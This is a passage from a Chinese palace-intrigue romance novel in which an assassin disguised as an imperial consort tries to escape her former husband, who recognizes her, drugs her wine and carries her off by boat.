她这时才毛骨悚然地发觉,经年未见,她那光风霁月、温润如玉的前夫,竟然成了这么一个——阴沉难测之人了。 “告诉你,他认出我了,我确定。”她沉沉道,“所以,尽快联络,耽误不得,不然,我不晓得要出什么事。” 雾刀在她耳朵里一阵大笑:“祖宗,你又想到什么啦?昨天琢磨一晚上了,还在这做梦呢?难道你以为,他认出了你,却没杀你,是因为还爱你吗,南琼霜?” 她不说话。 他们之间的事,本就只有他们两个人明白。其余人再怎么看,也不如她心如明镜。 爱说什么说什么去吧。 她急急起身,两三步冲到门口,边走边道:“去摄政王那坐坐,有事找摄政王商量。” 清涟和远香不明所以,赶忙跟上。 才刚从院子中跨出去,迎面就撞上了嘉庆帝身边前来传话的人。 小准子见了她便跪下: “娘娘,皇上听说娘娘病了,刚从笑乐园中出来,便想来看娘娘。不想,被人绊在了笑乐园内,说要再打一会牌。娘娘稍安勿躁,皇上担心您担心得不行,已经派顾先生来为娘娘诊脉了。” 她跨出去的腿霎时从门槛外缩了回来:“诊脉?!顾先生?!” “是啊,娘娘。”小准子抬起头,未时的阳光正刺眼,扎得他眼睛眯起来,“顾先生已经往这边来了。” 她仿佛被人兜头一盆冷水浇下。 江湖上行走十几年,她从未如此心慌过。 她抓住小准子的衣袖,将他扯到面前来仔细答话:“我问你,你今日见着顾先生了没有?” 小准子:“回禀娘娘,见过。” 她道:“他神色可有什么异样?” 小准子游疑着:“并未有何异样。非要说,便是因皇上随意赠官一事,不大愉快。” “他可曾在皇上面前提及本宫?” 小准子这回顿了一瞬:“顾先生说过一嘴,说有味治头风的灵药,可治皇上的宿疾。只是那药须由至阴女子身亲手摘取、仔细呵护,两人商讨了一阵人选,六宫娘娘全都在列,不止娘娘一人。” “至阴女子身?什么至阴女子身?” 小准这回低下头:“奴才不知。” 她心里一团乱麻,心神难安地叹了一口气。 “除此之外呢?别的没有了?” “没有了。” 发现了她的身份,又按兵不动,这个顾怀瑾,到底要做什么? 她如今,真是看不透他。 “起来吧。”她跨出院子,疾走两步,把小准子甩在身后。 却倏地又停下。 一会,顾怀瑾要来替她诊脉,她不能留清涟在宫中以假乱真,大明宫去不成了。 但是,她也不想留在菡萏宫内与他面面相对,坐以待毙。 她退回去,问小准子: “皇上在笑乐园内玩牌?” 小准子:“正是。” 她道:“远香,清涟,去笑乐园。” * 一个早上还病得卧床不起的人,到了下午,就顾盼生辉地出现在了笑乐园,这不能不说是一场奇迹。 南琼霜知道,今日她最大的靠山,莫过于嘉庆帝,特意换了一身嘉庆帝钟爱不已的杨妃粉织金蝉纱霓裳,头上一对嵌宝石琉璃珠花,耳下有意搭了一双花蕊黄玛瑙耳坠,一颦一笑,琼光摇曳。 嘉庆帝正在牌桌旁玩马吊,这回陪同的,唯有变成了女人嗓的李景泰。 门一开,两个人正打得热火朝天。 她柔柔唤了一声:“皇上。” 嘉庆帝尚未发觉。 她走近两步,到嘉庆帝身侧折身行礼:“皇上。” 嘉庆帝终于自火热的战局中分出神来,眼睛一瞥,愣住了。 他素来爱她那一张脸,见她颔首行礼,盈盈似水,艳如桃花,舌头都打了结:“德音快,快起。不是病了吗?怎么又到了朕这里来?” 她扶着嘉庆帝的手臂起身,嗔怪笑着,“臣妾思念皇上,如何能不见。” 顺势,坐在嘉庆帝身侧的椅子上。 这话说得嘉庆帝受用极了,笑得合不拢嘴,牵着她的手拍了拍。 她用团扇掩去半张脸孔,朱唇微勾。 顾怀瑾得了那一方帕子,今日八成要借故来见她。 她才不要见。 眼下,他还没来。她刚好可借这个时间差,先抓住嘉庆帝。 有嘉庆帝在身边,即便是他,也不能拿她如何。 她拈着团扇柄轻轻摇着,心中得意,贴心替他扇着风。 忽然赌房门口出现了一道玄黑身影,高挺沉旷,不近人情: “皇上。” 她心中一揪,扇着风的团扇,不觉僵住了。 这就找来了,怎么这么快。 她提心吊胆地坐直了身子,将脸孔掩在团扇后。 “顾先生?” 看清来人,嘉庆帝竟有些慌张,手中的牌哗啦一声散了,又手忙脚 乱地抓在手里:“顾先生怎,怎么来了?不是刚同摄政王商议完,说给德音诊了脉,就出宫回府吗?” 顾怀瑾不语,影子一般飘了进来,不知是有意还是无意,面朝着嘉庆帝,站在她身侧。 如今,他只要一靠近,她浑身就警戒得发麻。 她微微窒息,不敢抬头。 可是,房间内不敢抬头的,还另有其人。 李景泰见状,夹起尾巴,悄悄摸摸从凳子上溜了下去,做贼一般行了礼,告退。 怯懦得,整个人如一头章鱼,软、滑、能缩、会钻、悄无声息。 “站住。” 房间内其余三人齐齐一哆嗦。 南琼霜连大气也不敢出。她也真是没想到,有朝一日,她会怕他怕成这样,并且——连这房间里穿着明黄龙袍的人,也怕他怕成这样。 从前天山上那个落花沾襟、温柔和善的顾怀瑾,当真是一去不返了。 “本朝有令,为官者皆需走科举一途,无人可免。李公子前些日子,借樗蒲向皇上讨要官职,已是以奸邪之术蒙蔽皇上,罪已当诛。顾某念齐国公之祖乃是开国功臣,免你一死,仅命齐国公将你领回,严加管教。不想今日,是将顾某一番劝诫,全当作耳旁风了?” 李景泰两条腿,软得跟粉条一般,一抬头,已是涕泗横流。 “顾先生……求顾先生饶命……今日,奴才是听皇上吩咐……” 顾怀瑾平静无波的脸,转过来,朝着嘉庆帝。 她亲眼看见嘉庆帝战栗了一下。 嘉庆帝满面通红:“胡言乱语!朕何曾!” “皇上!皇上!分明是您叫奴才陪着玩牌的啊!”李景泰那一把女人嗓子,哭起来格外凄厉。 顾怀瑾仅是听两人语气,便知其中底细,终于还是给嘉庆帝留了面子,“皇上是受小人欺骗。” 理着袖口,漫不经心: “至于你,罚杖三十。” 嘉庆帝眼看着方才的牌友痛哭流涕着被拉下去,连句阻拦也不敢有。 他因赌误国,已是理亏,顾怀瑾又是他唯一的仰仗。前些日子,他还疯症发作,误伤了他。 他抬起头,挤出一个汗淋淋的赔罪的笑,“顾先生,顾先生坐。” 面朝着门口,冷冷候着哭天抢地的李景泰被拖下去的顾怀瑾,闻言,面无表情地转过了头。 嘉庆帝笑得更可怜了些。 南琼霜心里万念俱灰。 她名义上的夫君、唯一的救命稻草,在她这个不共戴天的前夫面前,竟然毫无抵挡之力。 第112章 嘉庆帝又催了两声,“先生坐!先生坐!何至于此!” 顾怀瑾一言不发,白得几乎透明的手指,拉开了嘉庆帝对面的椅子,落了座。 牌桌四边,两人对坐,南琼霜坐在嘉庆帝身侧,正在牌桌侧边。 他这样落座,她便一侧挨着嘉庆帝,一侧挨着他了。 不知是有意还是无意。 她听见自己胸口一阵嗵嗵的跳,有点煎熬。 嘉庆帝赔着笑,渐渐笑得脸僵了。 前些日子,嘉庆帝刚因为以官职做赌注的事,被朝中百官狠批。他心中不服,发折子同这些言官吵了几架,最后王茂行带了几十文官,在紫禁城东顺门外恸哭劝谏,事情闹得人尽皆知。 是顾怀瑾带了话,劝那帮嘴跟骨头一样硬的文官各自回去,此事才平息。 但这件事后,一贯不愿多言的顾怀瑾,都明白告诫过他,不可再同李景泰那个纨绔混在一处。 嘉庆帝一声也不敢出,冷汗涔涔。 “顾某今日来,不是来讲什么良药苦口、忠言逆耳之言,皇上不必过分担忧。” 他不紧不慢将桌上散落的马吊牌收起来捋好,叠成一摞,齐整搁在桌边,“皇上英明神武,不是我等草民可以置喙的。顾某今日来,是奉皇上之意,来给娘娘诊脉。” 她一惊,直起身子。 还以为嘉庆帝这赌棍能替她挡一阵子,没想到这么快,上刑架的就是她了。 “听闻娘娘今晨身体不适,没想到下午便好转了,有闲暇到笑乐园内寻皇上。”他笑了一声,“叫顾某扑了个空。” 阴阳怪气得厉害,她没敢接话。 他转过来,声音不近人情:“不知娘娘哪里不适?上次谨身殿中,娘娘还一切如常。” 上次见面,谨身殿中? 她想起与李玄白同乘一舟那日,杨柳岸边,那个看不见五官的身影。 “今晨……有些胸闷。” 他了然,“请娘娘给顾某一只手腕。” 她心里突突地跳。顾怀瑾是熟悉她的脉象的,这些年,她许多旧疾毒症未除,即便有变,若由他来把脉,大概还是认得出来。 她道,“不必了吧。”看向嘉庆帝,软着嗓子,“皇上,德音已经好了……不想瞧大夫嘛。” 嘉庆帝不肯接,眼下他巴不得顾怀瑾少盯着他:“不可讳疾忌医啊,德音。你身子一贯不好,刚巧顾先生在这。” 她心里长叹,即便那条帕子八成已经暴露了她的身份,她还是抱了点侥幸心理——万一他真的只是想借帕子,擦完了血,就扔了呢? 可是,真给他把了脉,又是一条确凿无误的证据。 她也顾不得顾怀瑾在不在场了,两只手一同去牵嘉庆帝的手,撒娇摇着,“皇上,都好了,还看什么大夫嘛,怪吓……” 话未说完,余下的字全哽在嗓子里,难以下咽。 桌子底下,顾怀瑾的腿,抵住了她的膝盖。 若无其事的威慑,心不在焉的威胁。 她心里面轰隆一声。 是巧合吗? 可是,哪里有臣子和宫妃同桌,两人的腿在桌下相碰的。即便是偶然,也该一瞬就撤去才是。 顾怀瑾的腿,不依不饶地,抵着她的膝盖,若有似无地贴着。 她仍偏头望着嘉庆帝,嘉庆帝神色如常,可是,她连呼吸都困难了,后背如有火烧。 他要做什么?到底想怎样?! 她心惊胆战地,将膝盖再并拢了些,向嘉庆帝靠去。 下一秒,他跟着不经意伸了腿,鞋尖抵在她的绣鞋旁。 她不敢动了。 明明只是一只尖尖的靴头,抵在她绣鞋侧面,竟像在她脖子上横了一把匕首似的。 嘉庆帝忽然开口:“德音,怎么了?怎么忽然愣了,脸色这般不对?” 她睫毛颤抖半晌,端起嘴角,挂上一个笑,“哪有。皇上多,多心了……” 顾怀瑾自袖中掏出一个小小的脉枕,置于桌上,面色沉静似水。 她知道自己大难将至,反而如释重负,笑了。 此前东躲西躲,实在滑稽。 顾怀瑾是谁?从前日日夜夜搂着她睡,事无巨细地叮嘱呵护,连蚊子都不会让她自己打的人。 她的习惯、脉象、语气甚至呼吸,他恐怕比她自己更了解。 还想在他面前隐瞒? 门都没有。 什么失忆,什么凤鸣丸,什么假名假背景假习惯,全是自作聪明,令人发笑。 她哭笑不得,顺从地递出一只细腕,放在脉枕上。 顾怀瑾对她的招供没有任何动容,微凉的四个指头,轻轻点在她手腕上,凝神听脉。 她垂着眼,状似不经意地,用余光打量他。 他长相真是没变,若非要说,似乎还更精致了些,带了点山巅晶莹雪的冷僻高寒。黑绸底下的嘴唇,也同从前没有分别,她当年最爱吻他的下唇,软得很。 那双眼睛…… 那双眼睛,惊心动魄,即便被绸带掩去了,她也知道,那双桃花眼,眼尾上勾,睫毛密如羽扇,弯起眼笑的时候,眸色清澈明冽,如一泓清泉。 对啊,她都记得。就算逼自己全忘了,到底还是记得。 算了,同他摊牌吧。 反正欠了他的,本就该还,他要讨回去,也无可厚非。 “娘娘。”顾怀瑾忽然道。 她抬起眼,看着他。 瞬间如遭雷劈。 顾怀瑾大拇指上套着一只 白玉扳指,漫不经心地,搁在鼻尖底下细细嗅着。 那一只,在她梦中,曾经套在他中指指根,晶莹润泽,闪着水光的,白玉扳指。 她登时口干舌燥,胸中仿佛擂鼓,身上不合时宜地热起来。 ——不行。不能同他摊牌。 ——这个疯子,谁知道他要做什么?!假如他像梦里那样折磨她……这里可是紫禁城! 他不会放过她的。 但是,她已经没有立场、没有身份,也没有必要,同他纠缠了。 ——不能落在他手里,绝不。 “娘娘。”顾怀瑾意义不明地叹息起来,骨节分明的手指,悠闲摸着大拇指上的扳指,“娘娘当真是体弱。” 他轻轻道:“怎么这么虚弱了。” 喟叹般的语气,她几乎要以为他心疼了。 她瞥开眼,往后躲了躲。 顾怀瑾不动声色捏住她的手腕。 她吓了一跳,骤然抬眼,却连抽身也不敢,怕动作太大,惊了……桌上第三个人。 她低下眼睛,用余光瞥嘉庆帝。 当着皇上的面,他到底想干什么?! 皇上,皇上又在看哪?! 嘉庆帝浑然不觉。他不思悔改,与上回赌官案的主犯又聚在一起玩牌,正心虚,提心吊胆地怕触怒了顾怀瑾,连抬头都不敢。 南琼霜简直头皮发麻。 当是时,嘉庆帝垂着眼睛,不知在看哪。 两人的手在桌面上光明正大放着。 顾怀瑾堂而皇之地,握住了她的手腕,大拇指一下、一下,在她手腕内侧娇嫩的肌肤上,按揉、刮蹭。 她仿佛身上有千万只蚂蚁窸窣地爬,麻痒难耐,想躲又不敢躲。 到后来,也不想躲了。 大脑拒绝他,身体却习惯他的抚摸。然后,身体卸甲叛逃,拉着她,坠入一场危险的催眠。 “娘娘,身子不好。”她仿佛在海中挣扎了许久的溺了水的人,忽然听见他开了口,觉得他的声音混混沌沌的,他道,“过些日子,同顾某回山,除去为皇上采药之外,顾某会为娘娘开个方子,仔细调调。” 她心不在焉,思绪黏黏糊糊的:“……回山?” 然后,她看见,顾怀瑾意义不明地笑了,唇角微微勾起: “娘娘……。皇上今晨吩咐顾某,携娘娘同回无量山。” * 南琼霜怎么也没想到,未时,她听闻李玄白在大明宫中气得发飙,还幸灾乐祸,打算去看热闹。 到了申正时分,风水轮流转,叫天不应、叫地不灵的人就成了她了。 她在御花园的回廊内急急穿梭,风吹开她的裙摆,她敛着衣裙,疾步往大明宫中走。 情况太急,她甚至不及派人传信,大明宫前的禁卫今日把守着正门,并未调开。 她顾不得,径直走到殿门前,与把守在宫殿门口的金戈侍卫,对视一眼。 那人人高马大,宽肩窄腰,束发束得一丝不苟,长脸方下巴,颌骨颧骨刚正如岩石。 正是七杀堂前堂主,墨角。 说是前堂主,乃是因此前某个任务调配有误,酿成大错,他从堂主之位被撸了下来。 如果她打听来的消息无误——正是顾怀瑾诛杀含光殿十二细作那一回。 墨角见是她,悄无声息地往旁退开一步。 才刚跨过门槛,就听见殿内一阵竹简坠地的哗啦声,里头侍女太监齐齐跪了一地。 她提起裙摆,自一地平平的后背和低垂的后脑勺中小心跨进去。 李玄白叉着腰站在大殿正中,走来走去,走两步就转身,步子踏得飞快。 他铛地在墙角香炉上蹬了一脚,踹得那香炉叮咣倒塌: “自恃权柄,厚颜跋扈,谁都敢他妈不放在眼里!本王给他两分好脸色,真拿自己当国之肱骨了!怎么!若无本王,他姓顾的就是狡兔死,走狗烹的下场,竟然还不知感恩,将个蛮勇匹夫,冠上王爵了——” 李玄白一向桀骜不驯,有仇当场就报,鲜少有怒不可遏又无可奈何的时候。 她用扇子将扑到面前的香灰扇去,耐着性子问:“这是怎么了?” 第113章 见了来人,李玄白勉强收敛了嗓音,“你来了。” 她在场,他也不好再失态,下令跪了一地的下人尽数退下,自己走回了窗边案几旁坐着。 案几上,一派凌乱,奏折竹简洒落满台,他将台上铺开的竹简缓缓卷起,没好气地往岸尾一撂。 南琼霜叹息,拎着裙摆坐到他对面。 他们两个人,全被顾怀瑾拿捏得头痛欲裂,眼下,还真是同病相怜了。 李玄白抓起茶盏润润嗓子:“你怎么来了。” 她有气无力冷哼一声:“你猜我为什么来。” 李玄白:“也在他那着了道?” 她翻个白眼:“他认出我来了。” 李玄白喝着茶,呛了一口:“你确定?” “他不知用了什么法子,说动了皇上,皇上吩咐我随他回无量山。跟他回了无量山,我还能回得来吗?” 李玄白今日眉头就未展开过,收着奏折,“他要带你回山,所以,你觉得他认出了你?” 她愣了一下,“难道你仍然觉得,是我想多?” “你想多了。”他呷了口茶,沉沉叹气,“他想带上无量山的,本不是你,是毛琳妍。” “晟贵妃?”她手中团扇错愕滑了下去,柄在案上敲得嗒一声。 李玄白点头:“今日笑乐园内,商讨给常达的爵位,顺便谈到了这件事。那姓顾的说,无量山上今年产了一棵五十年也未必有一回的灵药,但那药金贵,须得至阴之身的女子亲手采摘,以山泉水濯洗,再送入白马寺中受三日焚香,方能维持药性。” “宫中女子,八字最阴的,就是毛琳妍。是以,他提议毛琳妍与他同回。不想,被那疯子拦下了。” “嘉庆帝?” “嗯。”他又啜了口茶。 假如是嘉庆帝的意思,那么,大约是嘉庆帝忌惮晟贵妃与常达的关系,怕常达从中作梗,摆他一道。 但是,往生门替她捏造的八字,称不上至阴。 “然后,那姓顾的说,”他冷笑一声,“八字里有两个或三个阴的,勉强亦可,只要曾得圣恩雨露。” 她眨眨眼,反应一瞬,才明白李玄白那种戏谑讥诮、意味深长的眼神,究竟是为何。 “圣恩雨露”? 其实,嘉庆帝服下常达那一碗药酒后,毁了的不仅是精神。 是以,虽然她得宠,却并未侍过寝。 这是嘉庆帝痛处中的痛处、逆鳞中的逆鳞,除去宫妃,无人知晓,也无人敢提。 “所以,皇上信不过晟贵妃,挑来挑去,刚巧挑中了我?” “大约如此。” 南琼霜只觉脑子嗡嗡作响,扶着额头,缓了一缓。 谢德音的身份背景,是往生门替她捏造的。不想,以假乱真到这个地步,皇上谁都信不过,偏偏信她。 她偏偏是最不能同他回山的。 “别担心。那疯子依赖你,依赖得紧。你们两个都走了,他慌得要命,所以,只允许你在山上待两日。两日后,你就得离山。”李玄白放下茶盏,两手按在案几边缘,“区区两天,你还演不了?” 她心烦意乱地捋着头发,“何止是两天的事。我仍是觉得——” 仍是觉得,他是故意的。 不然,怎么解释牌桌底下咄咄逼人的膝盖和靴尖,怎么解释托住她后腰的那一只手,又为什么借着接手帕碰她的手指,为什么捏着她的手腕摩挲? 她被他阴恻恻的目光插穿那么多次,次次冷汗淋漓汗毛倒竖,难道全都是错觉?! ——不可能。 ——但是。 这些细节,她没法对人说。 太细微、太琐碎,只够两人心知肚明,对外人则不足为证,还会被人笑自作多情。 南琼霜少有这般束手无策的时候,心燥欲死,一手捂着头,一手捏成拳,在太阳穴轻轻敲着。 但是。 不管别人怎么说,怎么看。 她就是知道,他知道她是谁。 他就是设了一个局,处处算计,步步筹谋,骗过其他所有人,让她有口难开、求助无门,眼睁睁看着自己被他铐住脚踝,再一寸寸拖走,锁入他的领地。 然后,日夜折磨,不见天光。 “如果我——”她开口,“如果两日后,他不放我走,不论任何理由,有劳摄政王催他放人。” 李玄白看着她那副头痛样子,原本不好的心情也好了些,笑,“真这么怕他?都说了,他并未认出你。” 她已经懒得解释了,不语。 “你们今日在笑乐园内谈得如何?怎么回来气成这样?” 提起这件事,李玄白刚轻松些许的脸色复又阴沉下去,手中的竹简往案上一扔,一阵哗啦的响。 “姓顾的非说要让那匹夫如愿。”他抽出一根毛笔,气急败坏地拔笔尖上的毛,“给封了王爵。我不同意。最后议定,禄米给的少,封地不给,类似孙猴子的弼马温。” “常达讨封,讨的便是封地和钱财,这两样都不给,光给个虚名,糊弄谁?”她不想过多议政,站起身来,理理衣摆,“他将军之位坐了那么多年,岂是好打发的,莫要因此再闹上一回。” “那你说怎么办?”他不耐起来,攥着拳头锤了两下案几,几上笔筒内的毛笔微微颤抖,“还不够?还要再多给?” “若要我说,”她垂着长睫,理理步摇珠串,“封地定然是不能给。禄米,该给多少给多少,或许还该多给些,多到他无法拒绝。” 李玄白气不打一处来,瞪起眼睛。 “但是,给他流爵,而非世爵。”她站起身,轻巧拈起了搁在案上的团扇,悠悠扇着,“爵位给,但就是不给铁券。” 李玄白眉头皱了一瞬。 南琼霜笑:“他不是还有个儿子,叫常忠?” 李玄白旋即明白,眉毛挑了挑。 须臾,一笑。 他道:“他有两个儿子。还有一个,叫常平。” 南琼霜旋即明白他明白。 不给铁券,爵位无法世袭。若禄米给的多,常达受钱财诱惑,说不定会应下。 假如他应下,父子离心的种子,说不定便就播下了。 这天子路上唯一的拦路石,李玄白巴不得早日移除。 她站起身来,杨妃粉的蝉纱长裙层叠摇曳,迤逦在身后,仿佛一场飘渺的幻梦。 “为摄政王解忧,乐意之至。那么,”她回眸,长睫弯垂,美得像妖,“就此告退了,摄政王。” * 菡萏宫内。 南琼霜屏退了众人,自己坐在雕窗下,面前摊着一本前朝诗词,久久不曾翻一页。 雕窗外,阖宫丫鬟忙里忙外,替她收拾着前往无量山的行囊。 她悠长叹了一声,靠在贵妃榻上,烦躁阖上眼睫。 “南琼霜。” 雾刀低低的声音在她耳朵里响起。 她睁开眼:“怎么。” “门内回信了。” 她登时从贵妃榻上扑腾起来,坐直了身子。 “怎么说?” “指挥司说,要你来信上表,细叙更换任务的缘由、目前状况,条理清晰,明日寅时前寄出。门内明日戌时前给你答复。” 她翻身下榻,坐到桌前:“我现在就写。” 半炷香后,南琼霜停笔,将毛笔往一旁的砚台中一搁。 一封情真意切、字字泣血的书信,从当今形势、敌我优劣、自身长短详细分析,字里行间尽是惧怕自己短命而不能再为往生门效忠的担忧之情,读来令人动容,写时令人作呕。 雾刀将信取走,当日便交给了洛京城中专管联络的眼线。 夜里,往生门便回了信。 南琼霜看着那封信上盖着门章的大大的“准”字,如释重负,几乎感动。 雾刀:“你多年来,几乎是无往不胜,手到擒来。门内念你是个心性坚强的可塑之才,又勤勤恳恳、兢兢业业,特准你半途返回。” “你同那姓顾的出宫那日,照常随他上船。上了船,午时左右,门内会派人撑船接应。你找准时机跳船,暗号为三声鸟啼。上船后,怕有人跟随,会多换几回船,船夫会告诉你如何做。” “你下船后,清涟会替你伪装一阵。之后,她会假死。嘉庆帝的任务,会有人来接替你。自此以后,你同谢德音这个名字,同紫禁城中所有人,都再没有干系了。” “再没有干系了”。 她心里有些迟来的钝痛,木木的。 “每个船夫,都是门内派来的七杀堂刺客。我也会一路尾随。所以,别想着跑,南琼霜。” 他笑起来,仿佛一头呲着獠牙、喷吐着热气的野兽: “门内一片惜才之心,你可千万别辜负。” 辜负? 当年,为了顾怀瑾,她离叛门只有一线之隔。 那时,都没有背叛,往后,就更不会背叛了。 她笑:“你多虑了,我可是一片丹心。” 雾刀狞笑着,隐去了。 或许是因为顾怀瑾等不及了,离宫的日子,来得很快。 当日,六宫后妃一直送到紫禁城乾清门。晟贵妃穿得一派雍容奢艳,款款立在众妃嫔前头,见了她,眼睛都没抬一抬。 如此嚣张,其中缘由,她心里明镜一般。 她被顾怀瑾带出宫,再回宫时,恐怕得宠的,就又是她晟贵妃了。 若是从前,她又要忧虑,深更半夜辗转反侧,筹谋如何复宠。 如今,一身轻巧,那些令人生厌的争斗,全被她抛下了。 他们一行人的车马,直抵渡口。 顾怀瑾一个侍卫也没有带,王茂行曾劝嘉庆帝给他带些侍卫随行,他尽数婉拒,说是无事时人多嘈杂,出事时碍手碍脚。 她也只带了清涟和远香。嘉庆帝言之凿凿,说顾怀瑾在身侧,天底下的无赖没有一个近得了她的身,只怕有人蓄意刺杀。不若秘密出行,免得贼人觊觎。 他不知道,她刚好就是一个刺客,而顾怀瑾,刚好就是那个贼人。 一行人上了客船。 要去无量山,当从饶河走,一路水路。 两人的船厢自然不在一处,但都属官舱,离得很近。 她喜洁,命清涟和远香将舱内备好的枕席尽数撤去,用自带的被褥重新铺好。 顾怀瑾得了嘉庆帝的命令,要保护她的安危,时刻随侍左右,此时坐在她船厢中的圆桌旁,自己斟了一盏茶。 “到了饶河上,人多眼杂,顾某不便以娘娘二字相称。”他道,“不知娘娘以为,顾某如何称呼,更为得体。” 话说得一板一眼的。都已经堵她堵到了这一步,还装呢。 她道:“先生唤我德音便是。” 他的眼睛,她看不见,只看见黑绸上方的两道英眉,揶揄似的挑了挑: “德音?” 带着讥笑的吐字。仿佛是笑她,都到了这一步,还跟他自作聪明。 不知是谁在自作聪明。 她带着笑道:“德音。” “好。那就唤娘娘为德音。” 他从善如流,掀着茶盖,啜了口茶。 南琼霜忽然注意到,他的大拇指正套着那个白玉扳指。 眼下,不论那枚玉扳指曾经叫她多惊慌,她都不必再怕了。 她拿着凳子坐到他身侧,拄着腮:“先生那枚扳指,头一回相见时,还没有的。可是有什么来头?” 说到“头一回相见”,他又是凉凉笑了一声。 “无量山的传代玉戒。无量心法传人,理应时时佩戴,以功法养玉,亦以玉养功法。境界越高,玉便越油润洁白。” 那枚玉戒,已经润糯若脂肪,戴在他的大拇指上,衬得他手如雪般冷白。 她笑:“那么,这玉已经白得毫无瑕疵,可见先生功力深厚。” 功力深厚又如何。逮耗子似的逮她,还不是要看着她从眼皮子底下溜走。 “恭维顾某?”他笑了,轻道了一声,“娘娘,有兴致。” 幽幽的恨和怨气。 她霎时又有些发毛,住了口。 “或许从前可算功力深厚的。但前些日子,反噬得厉害,功法倒退了不少。”他对着她,双唇开合,唇角愉悦地勾起来: “……都是因为,见了娘娘啊。” 她屏息两瞬,面上毫无反应,吞咽了一下。 须臾,她道:“……先生。我有点困乏,想歇息一会儿,还请先生出去吧。” * 顾怀瑾走了。或许是因为,无量山是他的地盘,较之客船内更适合拷问用刑,他觉得还未到摊牌的时候。 她躺在床榻上,心咚咚跳,难以平静。 必须得快走。这里,她是一刻都待不了了。 清涟已经换上了她的衣裙,候在她身侧。 她问:“什么时辰了?” 清涟:“已经将近午时。您快些准备吧。” 她三下五除二将清涟的衣裳换上:“我直接去舱外候着,你在榻上装睡。其余的事,门内会来线人安排,各自小心行事。” 清涟、远香颔首:“是。” 她一副丫鬟打扮,蹲在客船上层,鬼鬼祟祟地跟在一些不认识的官家小姐身侧,假扮是人家的丫鬟,被不同的人赶走三回。 左等右等。 终于,等来了空中三声鸟啼。 她自上而下一望。 一艘不起眼的乌篷船,悄无声息地贴近了客船一侧,船夫坐在船篷内,看不清面孔。 她扯起衣角,四面环望一圈。 船上人三三两两聚在一起交谈观景,叫卖瓜果糖片之声不绝,无人注意这边。 她轻飘飘地,翻出栏杆,一跃。 双足落在安稳的船板上。她竖起耳朵,并未听见身后有驭轻功的衣襟飒飒之声,一步跨进了船篷之内,隐去身形,才敢隔着竹篾的缝隙,往来处窥探。 无人跟上。 顾怀瑾没有发觉,没有追下来。 她长长、长长地松了口气。 船夫双桨一摇,乌篷船无声滑走了。 船内,零落了一地的花片,船篷上泼溅了些血迹。 她已见怪不怪了。往生门内,凡事求速,怎么快怎么来,百无禁忌。 看起来,这船,曾有舞姬在此献舞,抛了一船的花瓣。 她胸中一块大石重重落地,心中雀跃轻松已极,长叹一声,坐在舟内小几旁,拿了一只没人用过的酒盏,自己倒了点酒。 谁知,坐了下来,就有点怅然。 两个生离死别的人,以为会天各一方一辈子,谁知,竟然阴差阳错,再次相见。 可是,再相见,也是物是人非。 如今,她承认她爱他。但也必须要明明白白、清楚明晰地告诫自己——已经结束了。 那些在她回忆里珍贵到熠熠生辉的过去,她必须得承认,她从未抛下过。所谓“该忘的忘,该放的放”,不过是她拿来摆架子的大话。 但是,过去就是过去。再珍贵,也无用,像他那两颗从前视若珍宝、如今弃之不用的本命珠。 珍贵而无用的东西,不适合放在心上,适合束之高阁。 她垂眸望着酒杯,看着杯中酒液旋转,浅啜了一口。 ——那是她这辈子喝的最后悔的一口酒。 第114章 恍恍惚惚的幻梦。潺潺的水流声,远处水鸟鸣啼,船桨劈开水面,咚一声没入水里,拨着水,一阵哗啦的响。 身下的乌篷船,微微摇晃。 她阖着眼。 鼻子底下,一丝旖旎的鲜甜,打着转。 是血气。 她睫毛颤抖了两下,昏昏沉沉睁开眼。 满船纷乱落花,密密麻麻铺在船板上,有些已经干萎了,边缘泛着黄。 船篷之内,原本已经干涸了的血迹,复又泼上一道鲜亮的血弧,血珠蜿蜒往下淌着,沿着拱起的船篷往下流,沾在堆叠的花片上。 凌乱的花瓣和血珠之外,一弯蛾眉月高挂。 月亮底下,坐了一个人。 一身玄黑长袍,丝缎般的墨发从后背垂泻而下,盘腿而坐,桨声悠悠。 “醒了?” 船头人半侧过脸,双眼缚着。 她两眼一闭,开始睡觉。 事已至此,挣扎慌惧也是无用,省省吧。 顾怀瑾温柔笑了起来:“娘娘……。经年未见,又要去哪啊?” 她睁开一丝眼缝,知道事到如今,事情已经不由她,又将眼睫阖上了。 要杀要剐,都随他。 那盏酒里,有药。她即便醒了过来,眼睛一闭,就又睡倒了下去。 再睁开眼的时候,已经被人挪到了船头。月挂中天,银辉如水,洒在人身上,冰得人遍体生寒。 她一个哆嗦,醒了过来,才发现自己枕在他膝上。 他一只手搭在她腰间,宽大的衣袖,替她盖着。 从前天山上,她最爱靠在他膝头睡觉。那时,他夜里常常挑灯批公文,有时上了榻,也放不下,靠着床头一页页地翻。 她不喜欢一个人睡,等他上了榻,就猫儿似的,趴在他膝上打盹。 上回,枕在他膝头浅睡,五年前了。 “醒了?” “嗯。” 一个姿势躺久了,她硌得脸发麻,将头偏转了一下。 一动,听见自己手腕上一阵叮当的响。她举起手来一看,一只铁环,铐在手腕上,与他的手相连,月色底下,泛着金属寒光。 她懒得管,将手垫在脸侧,趴得更舒服些,习惯性的,蹭了蹭他的膝盖。 顾怀瑾没动,沉默地由她。 水波摇晃,连一向难以入睡的人,都受了催眠一般,睡了整日。 她也没想到,被顾怀瑾劫走,她心里竟然平静至此。 就像一个杀了至亲的人,无人发觉,也要日夜受折磨。最后,被捕的那一日,反而噩梦破了,得以睡个好觉。 其实,她也早该料到的。 原来逃也愧疚,或许自己也想自己死。 她眼里落下泪来,滚落到他衣摆上,顷刻被玄黑色吞没了。 “怀瑾。”她不知有多少年没再吐出这两个字,“无量山上,你给我准备了什么?” 闭着眼,语气惬意得像梦呓。 顾怀瑾许久没有说话。 她带着点笑,眼泪一颗颗打湿了他的衣服,隔着布料,一阵湿热。 他想忽视都忽视不得。 “从前,我第二次见你,也是在江上。”不知道为什么,他忽然说起从前的事,“后来,第三次,是佛寺。佛寺之后,你随我上了天山。” 她笑了起来,月色亮得她无法入睡,她用手挡住眼睛。 “怎么是第二次?那是第一次。” 顾怀瑾没说话,自顾自道: “现在,随我回无量山,也是在江上。” 她困意上头,在他膝上委了委,笑着。 两次相见,都是水上。 但是,她还能逃离无量山吗? 她打了个哈欠,懒洋洋道:“怀瑾,你得公平些。从前,我动手,快得很,只要一剑。” “所以,”她叹息,“你要下手,也快些。” 他未答。良久,抬手,将她下巴颏上缀着的泪珠擦去了。 她眉尾颤抖一瞬,愈发落下泪来。 “好了。”他曲着食指,将她新滚下来的眼泪抹去,“别哭了。” 她用从前跟他撒娇的语气道:“那你让我自己挑一种死法。” 他沉默了。 她转过头仰看他。 她熟悉不过的喉结、下颌线和很好亲的嘴唇。 